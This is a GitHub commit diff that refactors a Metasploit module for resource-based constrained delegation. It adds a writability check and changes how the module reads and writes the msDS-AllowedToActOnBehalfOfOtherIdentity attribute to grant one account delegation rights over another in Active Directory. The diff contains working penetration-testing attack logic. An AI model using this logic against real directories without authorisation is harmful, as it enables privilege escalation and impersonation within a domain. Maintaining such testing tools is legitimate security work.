Skip to content

Commit 85324af

Browse files
committed
Update the RBCD module to use the new mixin
1 parent 30a11a7 commit 85324af

File tree

1 file changed

+61
-74
lines changed
  • modules/auxiliary/admin/ldap

1 file changed

+61
-74
lines changed

modules/auxiliary/admin/ldap/rbcd.rb

Lines changed: 61 additions & 74 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
class MetasploitModule < Msf::Auxiliary
77

8-
include Msf::Exploit::Remote::LDAP
8+
include Msf::Exploit::Remote::LDAP::ActiveDirectory
99
include Msf::OptionalSession::LDAP
1010

1111
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze
@@ -65,32 +65,19 @@ def build_ace(sid)
6565
})
6666
end
6767

68-
def fail_with_ldap_error(message)
69-
ldap_result = @ldap.get_operation_result.table
70-
return if ldap_result[:code] == 0
71-
72-
print_error(message)
73-
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
74-
case ldap_result[:code]
75-
when 1
76-
fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}")
77-
when 16
78-
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.')
79-
when 50
80-
fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.')
81-
when 51
82-
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.')
83-
when 52
84-
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.')
85-
when 53
86-
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.')
87-
when 64
88-
fail_with(Failure::Unknown, 'The LDAP operation failed due to a naming violation.')
89-
when 65
90-
fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.')
68+
def get_delegate_to_obj
69+
delegate_to = datastore['DELEGATE_TO']
70+
if delegate_to.blank?
71+
fail_with(Failure::BadConfig, 'The DELEGATE_TO option must be specified for this action.')
9172
end
9273

93-
fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}")
74+
obj = adds_get_object_by_samaccountname(@ldap, delegate_to)
75+
if obj.nil? && !delegate_to.end_with?('$')
76+
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_to}$")
77+
end
78+
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj
79+
80+
obj
9481
end
9582

9683
def get_delegate_from_obj
@@ -99,35 +86,41 @@ def get_delegate_from_obj
9986
fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')
10087
end
10188

102-
obj = ldap_get("(sAMAccountName=#{delegate_from})", attributes: ['sAMAccountName', 'ObjectSID'])
89+
obj = adds_get_object_by_samaccountname(@ldap, delegate_from)
10390
if obj.nil? && !delegate_from.end_with?('$')
104-
obj = ldap_get("(sAMAccountName=#{delegate_from}$)", attributes: ['sAMAccountName', 'ObjectSID'])
91+
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_from}$")
10592
end
10693
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj
10794

10895
obj
10996
end
11097

111-
def ldap_get(filter, attributes: [])
112-
raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first
113-
return nil unless raw_obj
98+
def check
99+
ldap_connect do |ldap|
100+
validate_bind_success!(ldap)
114101

115-
obj = {}
102+
if (@base_dn = datastore['BASE_DN'])
103+
print_status("User-specified base DN: #{@base_dn}")
104+
else
105+
print_status('Discovering base DN automatically')
116106

117-
obj['dn'] = raw_obj['dn'].first.to_s
118-
unless raw_obj['sAMAccountName'].empty?
119-
obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
120-
end
107+
unless (@base_dn = ldap.base_dn)
108+
print_warning("Couldn't discover base DN!")
109+
end
110+
end
111+
@ldap = ldap
121112

122-
unless raw_obj['ObjectSid'].empty?
123-
obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)
124-
end
113+
obj = get_delegate_to_obj
114+
if obj.nil?
115+
return Exploit::CheckCode::Unknown('Failed to find the specified object.')
116+
end
125117

126-
unless raw_obj[ATTRIBUTE].empty?
127-
obj[ATTRIBUTE] = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(raw_obj[ATTRIBUTE].first)
128-
end
118+
unless adds_obj_grants_permissions?(@ldap, obj, ACEMatcherAllowAll.new(%i[RP WP]))
119+
return Exploit::CheckCode::Safe('The object can not be written to.')
120+
end
129121

130-
obj
122+
Exploit::CheckCode::Vulnerable('The object can be written to.')
123+
end
131124
end
132125

133126
def run
@@ -145,12 +138,7 @@ def run
145138
end
146139
@ldap = ldap
147140

148-
delegate_to = datastore['DELEGATE_TO']
149-
obj = ldap_get("(sAMAccountName=#{delegate_to})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
150-
if obj.nil? && !delegate_to.end_with?('$')
151-
obj = ldap_get("(sAMAccountName=#{delegate_to}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
152-
end
153-
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj
141+
obj = get_delegate_to_obj
154142

155143
send("action_#{action.name.downcase}", obj)
156144
end
@@ -165,12 +153,12 @@ def run
165153
end
166154

167155
def action_read(obj)
168-
security_descriptor = obj[ATTRIBUTE]
169-
if security_descriptor.nil?
156+
if obj[ATTRIBUTE].first.nil?
170157
print_status("The #{ATTRIBUTE} field is empty.")
171158
return
172159
end
173160

161+
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
174162
if (sddl = sd_to_sddl(security_descriptor))
175163
vprint_status("#{ATTRIBUTE}: #{sddl}")
176164
end
@@ -182,9 +170,9 @@ def action_read(obj)
182170

183171
print_status('Allowed accounts:')
184172
security_descriptor.dacl.aces.each do |ace|
185-
account_name = ldap_get("(ObjectSid=#{ace.body.sid})", attributes: ['sAMAccountName'])
173+
account_name = adds_get_object_by_sid(@ldap, ace.body.sid)
186174
if account_name
187-
print_status(" #{ace.body.sid} (#{account_name['sAMAccountName']})")
175+
print_status(" #{ace.body.sid} (#{account_name[:sAMAccountName].first})")
188176
else
189177
print_status(" #{ace.body.sid}")
190178
end
@@ -194,14 +182,14 @@ def action_read(obj)
194182
def action_remove(obj)
195183
delegate_from = get_delegate_from_obj
196184

197-
security_descriptor = obj[ATTRIBUTE]
185+
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
198186
unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?
199187
print_status('No DACL ACEs are present. No changes are necessary.')
200188
return
201189
end
202190

203191
aces = security_descriptor.dacl.aces.snapshot
204-
aces.delete_if { |ace| ace.body[:sid] == delegate_from['ObjectSid'] }
192+
aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first }
205193
delta = security_descriptor.dacl.aces.length - aces.length
206194
if delta == 0
207195
print_status('No DACL ACEs matched. No changes are necessary.')
@@ -214,28 +202,27 @@ def action_remove(obj)
214202
security_descriptor.dacl.acl_count.clear
215203
security_descriptor.dacl.acl_size.clear
216204

217-
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
218-
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
219-
end
205+
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
206+
validate_query_result!(@ldap.get_operation_result.table)
207+
220208
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
221209
end
222210

223211
def action_flush(obj)
224-
unless obj[ATTRIBUTE]
212+
unless obj[ATTRIBUTE]&.first
225213
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
226214
return
227215
end
228216

229-
unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)
230-
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
231-
end
217+
@ldap.delete_attribute(obj.dn, ATTRIBUTE)
218+
validate_query_result!(@ldap.get_operation_result.table)
232219

233220
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
234221
end
235222

236223
def action_write(obj)
237224
delegate_from = get_delegate_from_obj
238-
if obj[ATTRIBUTE]
225+
if obj[ATTRIBUTE]&.first
239226
_action_write_update(obj, delegate_from)
240227
else
241228
_action_write_create(obj, delegate_from)
@@ -244,36 +231,36 @@ def action_write(obj)
244231

245232
def _action_write_create(obj, delegate_from)
246233
vprint_status("Creating new #{ATTRIBUTE}...")
234+
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
247235
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new
248236
security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')
249237
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
250238
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
251-
security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])
239+
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
252240

253241
if (sddl = sd_to_sddl(security_descriptor))
254242
vprint_status("New #{ATTRIBUTE}: #{sddl}")
255243
end
256244

257-
unless @ldap.add_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
258-
fail_with_ldap_error("Failed to create the #{ATTRIBUTE} attribute.")
259-
end
245+
@ldap.add_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
246+
validate_query_result!(@ldap.get_operation_result.table)
260247

261248
print_good("Successfully created the #{ATTRIBUTE} attribute.")
262249
print_status('Added account:')
263-
print_status(" #{delegate_from['ObjectSid']} (#{delegate_from['sAMAccountName']})")
250+
print_status(" #{delegate_from_sid} (#{delegate_from[:sAMAccountName].first})")
264251
end
265252

266253
def _action_write_update(obj, delegate_from)
267254
vprint_status("Updating existing #{ATTRIBUTE}...")
268-
security_descriptor = obj[ATTRIBUTE]
255+
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
269256

270257
if (sddl = sd_to_sddl(security_descriptor))
271258
vprint_status("Old #{ATTRIBUTE}: #{sddl}")
272259
end
273260

274261
if security_descriptor.dacl
275-
if security_descriptor.dacl.aces.any? { |ace| ace.body[:sid].to_s == delegate_from['ObjectSid'].to_s }
276-
print_status("Delegation from #{delegate_from['sAMAccountName']} to #{obj['sAMAccountName']} is already configured.")
262+
if security_descriptor.dacl.aces.any? { |ace| ace.body.sid == delegate_from[:objectSid].first }
263+
print_status("Delegation from #{delegate_from[:sAMAccountName].first} to #{obj[:sAMAccountName].first} is already configured.")
277264
end
278265
# clear these fields so they'll be calculated automatically after the update
279266
security_descriptor.dacl.acl_count.clear
@@ -284,15 +271,15 @@ def _action_write_update(obj, delegate_from)
284271
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
285272
end
286273

287-
security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])
274+
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
275+
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
288276

289277
if (sddl = sd_to_sddl(security_descriptor))
290278
vprint_status("New #{ATTRIBUTE}: #{sddl}")
291279
end
292280

293-
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
294-
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
295-
end
281+
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
282+
validate_query_result!(@ldap.get_operation_result.table)
296283

297284
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
298285
end

0 commit comments

Comments
 (0)